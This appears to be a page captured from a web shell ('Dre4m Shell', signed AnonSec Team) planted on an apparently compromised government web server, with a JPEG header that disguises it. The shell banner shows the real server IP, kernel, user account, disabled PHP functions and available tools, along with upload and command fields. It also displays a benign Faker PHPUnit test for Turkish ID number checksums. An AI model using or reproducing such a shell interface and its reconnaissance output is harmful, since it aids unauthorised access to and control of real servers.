ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.129.218.179
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/fund.old.nicn.gov.ng/funds-old/vendor/fzaninotto/faker/test/Faker/Calculator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/fund.old.nicn.gov.ng/funds-old/vendor/fzaninotto/faker/test/Faker/Calculator/TCNoTest.php
<?php

namespace Faker\Test\Calculator;

use Faker\Calculator\TCNo;
use PHPUnit\Framework\TestCase;

class TCNoTest extends TestCase
{
    public function checksumProvider()
    {
        return array(
            array('553006348', '82'),
            array('350630743', '78'),
            array('550600932', '88'),
            array('487932947', '70'),
            array('168113862', '40')
        );
    }

    /**
     * @dataProvider checksumProvider
     * @param $tcNo
     * @param $checksum
     */
    public function testChecksum($tcNo, $checksum)
    {
        $this->assertEquals($checksum, TCNo::checksum($tcNo), $tcNo);
    }

    public function validatorProvider()
    {
        return array(
            array('22978160678', true),
            array('26480045324', true),
            array('47278360658', true),
            array('34285002510', true),
            array('19874561012', true),

            array('11111111111', false),
            array('11234567899', false),
        );
    }

    /**
     * @dataProvider validatorProvider
     * @param $tcNo
     * @param $isValid
     */
    public function testIsValid($tcNo, $isValid)
    {
        $this->assertEquals($isValid, TCNo::isValid($tcNo), $tcNo);
    }
}

Anon7 - 2022
AnonSec Team